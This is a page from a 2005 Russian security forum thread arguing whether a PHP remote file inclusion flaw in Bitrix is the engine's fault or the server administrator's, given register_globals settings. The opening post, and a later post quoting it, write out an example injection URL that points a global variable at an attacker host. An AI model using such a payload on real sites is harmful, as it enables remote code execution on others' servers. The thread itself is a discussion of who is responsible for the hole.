Security Lab



Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти  
Форум » Взлом и защита » Web приложения
Страницы: 1 2 3 4 5 След.
RSS
PHP include
 
#1
Это нравится:0Да/0Нет
16.06.2005 12:35:22
Всем привет!

Возник спор - дыры типа: index.php?_SERVER[DOCUMENT_ROOT]=http://attacker/

Т.е. когда движок инклюдит значение глобальной переменной.

Является это уязвимостью движка или хостинга? В нормальной ситуации бывает необходимость включения определения переменных окружения? (register_global=on)

Просто если движок постоянно использует переменные окружения, дополнительная проверка их перед инклюдом может сильно повлиять на производительность Web приложения.

Предлагаю всем сторонам конфликта (те кто в курсе поймет о чем это я) принять дискуссию.
Хочешь быть мудрым? Не желай всего, что видишь; не верь всему, что слышишь; не говори всего, что знаешь; не делай всего, что умеешь, а только то, что полезно.
 
 
 
#2
Это нравится:0Да/0Нет
16.06.2005 12:41:48
Цитата
Pig killer пишет:
Всем привет!
Предлагаю всем сторонам конфликта (те кто в курсе поймет о чем это я) принять дискуссию.

Ты вот зачем тот топик пофиксил?? Там можно было и подискутировать :)))
 
 
 
#3
Это нравится:0Да/0Нет
16.06.2005 12:44:04
Цитата
Pig killer пишет:
Всем привет!

Возник спор - дыры типа: index.php?_SERVER[DOCUMENT_ROOT]=http://attacker/

Т.е. когда движок инклюдит значение глобальной переменной.

Является это уязвимостью движка или хостинга? В нормальной ситуации бывает необходимость включения определения переменных окружения? (register_global=on)

Хе-хе в том то и вопрос....Если бы Битрикс не вместе с пхп-ыми настройками дырявыми шёл, то и вопросов бы не было!
т.е. если бы они только свои скрипты предлогали без апача и пхп настроенных!!!!!
 
 
 
#4
Это нравится:0Да/0Нет
16.06.2005 12:53:31
А кто кстати считает что дырка в Битриксе вовсе и не дырка?
http://nemesisoftware.com/advisory.htm
 
 
 
#5
Это нравится:0Да/0Нет
16.06.2005 12:53:42
русским же языком сказано, сделай так и так и поставь систему, и сделано это в угоду производительности
ну а если уж человек ставит как попало не прочитав инструкцию а потом говорит что это дыра, то это проблема этого человека
ты б еще расшарил диск C: для полного доступа любого пользователя, а потом орал на каждом углу, что винду прохачил
выглядишь смешно!
 
 
 
#6
Это нравится:0Да/0Нет
16.06.2005 12:55:53
Цитата

Хе-хе в том то и вопрос....Если бы Битрикс не вместе с пхп-ыми настройками дырявыми шёл, то и вопросов бы не было!
т.е. если бы они только свои скрипты предлогали без апача и пхп настроенных!!!!!

А Вы сами ставили эту систему или нет? :)

Я вот сейчас специально скачал и поставил. Bitrix НЕ СТАВИТ свои настройки. PHP и Apache ставятся отдельно, как и везде (и это нормально). Но в тоже время они предупреждают, что нужно включать register_global. И это нормально. Остально это уже дело совести админа.

Печально... народ все сильнее деградирует.
 
 
 
#7
Это нравится:0Да/0Нет
16.06.2005 12:57:48
скопирую свои слова из PM-переписки:
Цитата
Есть один прикол. Битрикс не идет с настройками PHP.
есть возможность читать каталог той-же админки, надо только интегратору прочесть доку и настроить .htaccess.
Проблема с PHP Including-ом есть только в том случае, если админ (не битрикс) криво настроит PHP, включив register_global = on. В мануале, поставляемом с Битриксом, черным по белому написано, что их надо делать off

Так что это не проблема битрикса.

И еще добавлю: PHP mustdie
 
 
 
#8
Это нравится:0Да/0Нет
16.06.2005 12:58:46
Если в движке явно написано что он необходимо включать опцию register_global=off, то это не уязвимость движка.

Например вспомните дыру недавнюю в PHP связанную с раскрытием памяти. Многие форумы тоже были уязвимы. Только почему то патчи к форумам не вышли - только к PHP.
Хочешь быть мудрым? Не желай всего, что видишь; не верь всему, что слышишь; не говори всего, что знаешь; не делай всего, что умеешь, а только то, что полезно.
 
 
 
#9
Это нравится:0Да/0Нет
16.06.2005 12:58:51
и хорош свою страничку рекламировать
называется найди 10 отличий
http://nemesisoftware.com/
http://secunia.com/
ну что сказать, русские хакеры, самые херакерные в мире
 
 
 
#10
Это нравится:0Да/0Нет
16.06.2005 13:02:37
Цитата
Александр Анисимов пишет:


А Вы сами ставили эту систему или нет? :)
Я вот сейчас специально скачал и поставил. Bitrix НЕ СТАВИТ свои настройки. PHP и Apache ставятся отдельно, как и везде (и это нормально). Но в тоже время они предупреждают, что нужно включать register_global=off. И это нормально. Остально это уже дело совести админа.

Печально... народ все сильнее деградирует.

Интересный вопрос :) А как я по вашему багу обнаружил...телепатически?

Ну да так всегда было т.е. если у админа руки кривые, то на него всё и будем валить :)

Тогда бы пхп инклюдинга и скл инджектов бы как класса атак небыло! Ибо можно включить и magic_quotes_gpc и другие полезные опции...
 
 
 
#11
Это нравится:0Да/0Нет
16.06.2005 13:05:36
Цитата
Nixso пишет:
и хорош свою страничку рекламировать
называется найди 10 отличий
http://nemesisoftware.com/
http://secunia.com/
ну что сказать, русские хакеры, самые херакерные в мире

Да, насчёт этого плагиата уже было воткнуто кому надо и куда надо :) Скоро будет другой дизайн сайта...
Вебмастер мастерит круглосуточно :)
 
 
 
#12
Это нравится:0Да/0Нет
16.06.2005 13:10:13
да чтож за мягко выражаясь непонятливый такой
тебе ж говорят ты и расшаренный диск C: будешь считать за уязвимости микрософта?
если наши "хакеры" все такие, то грустно за россию становица
с другой стороны ничего удивительного, тыж сам сказал, что не девелопер
и как тогда человек который не понимает в программировании говорит про уязвимости
есть одно объяснение этому, красивое слово скрипткидис
 
 
 
#13
Это нравится:0Да/0Нет
16.06.2005 13:12:14
2 Pig Killer - бага движки.
То что её можно прикрыть настройками сервака, так я и SQL injection общесистемными настройками могу свести практически к 0.
 
 
 
#14
Это нравится:0Да/0Нет
16.06.2005 13:13:21
2Nixso: злой ты =)
 
 
 
#15
Это нравится:0Да/0Нет
16.06.2005 13:14:43
Цитата
offtopic пишет:
2 Pig Killer - бага движки.
То что её можно прикрыть настройками сервака, так я и SQL injection общесистемными настройками могу свести практически к 0.
еще один! гыыы
 
 
 
#16
Это нравится:0Да/0Нет
16.06.2005 13:15:25
Цитата
offtopic пишет:
2 Pig Killer - бага движки.
То что её можно прикрыть настройками сервака, так я и SQL injection общесистемными настройками могу свести практически к 0.

Хоть одна мудрая мысль...
Я уже выше об этом говорил
Цитата
D_BuG пишет:

Тогда бы пхп инклюдинга и скл инджектов бы как класса атак небыло! Ибо можно включить и magic_quotes_gpc и другие полезные опции...
 
 
 
#17
Это нравится:0Да/0Нет
16.06.2005 13:15:38
2offtopic: нуда, как не прикрывай, а если я в private зоне сайта сделаю web.config с:
Код
<authorization>
&nbsp;&nbsp;&nbsp;<allow users="*" />
</authorization>
у меня тоже будет одна большая дыра.
 
 
 
#18
Это нравится:0Да/0Нет
16.06.2005 13:16:23
Цитата
offtopic пишет:
2 Pig Killer - бага движки.
То что её можно прикрыть настройками сервака, так я и SQL injection общесистемными настройками могу свести практически к 0.
киллер ж написал

Просто если движок постоянно использует переменные окружения, дополнительная проверка их перед инклюдом может сильно повлиять на производительность Web приложения.

специально не стали это править и есть на то ИНСТРУКЦИЯ
 
 
 
#19
Это нравится:0Да/0Нет
16.06.2005 13:17:35
Цитата
D_BuG пишет:

Интересный вопрос :) А как я по вашему багу обнаружил...телепатически?

Ну да так всегда было т.е. если у админа руки кривые, то на него всё и будем валить :)

Тогда бы пхп инклюдинга и скл инджектов бы как класса атак небыло! Ибо можно включить и magic_quotes_gpc и другие полезные опции...

Хм. Видимо Вы так и не поняли, что я Вам хотел сказать. Еще раз, только уже подробнее...

Использование глобальных переменных в пхп считается нормальной практикой. Помимо этого, пхп предоставляет возможность изолировать их и это ОСОБЕННОСТЬ пхп.
Поэтому разработчик может воспользоваться этим для создания более быстрого и "прозрачного" для понимания кода. При этом, считается нормальным требовать от администратора установки определенных настроек (как и библиотек).

А аналогия с SQL-injection тут не подходит, т.к. magic_quotes_gpc не всегда спасает.

P.S. Не стоит спорить с очевидными вещами... а то может появиться мнение, что Вы не совсем компетентны в данном вопросе.
 
 
 
#20
Это нравится:0Да/0Нет
16.06.2005 13:17:40
Цитата
D_BuG пишет:
Хоть одна мудрая мысль...
Я уже выше об этом говорил

Ну, оффтопик у нас известный спец по ИБ, ему можно верить...

Кстати, под IIS-ом такой фокус не пройдет. нормальные WEB-сервера не дают менять свои системные глобальные переменные =)
 
 
 
Страницы: 1 2 3 4 5 След.
Читают тему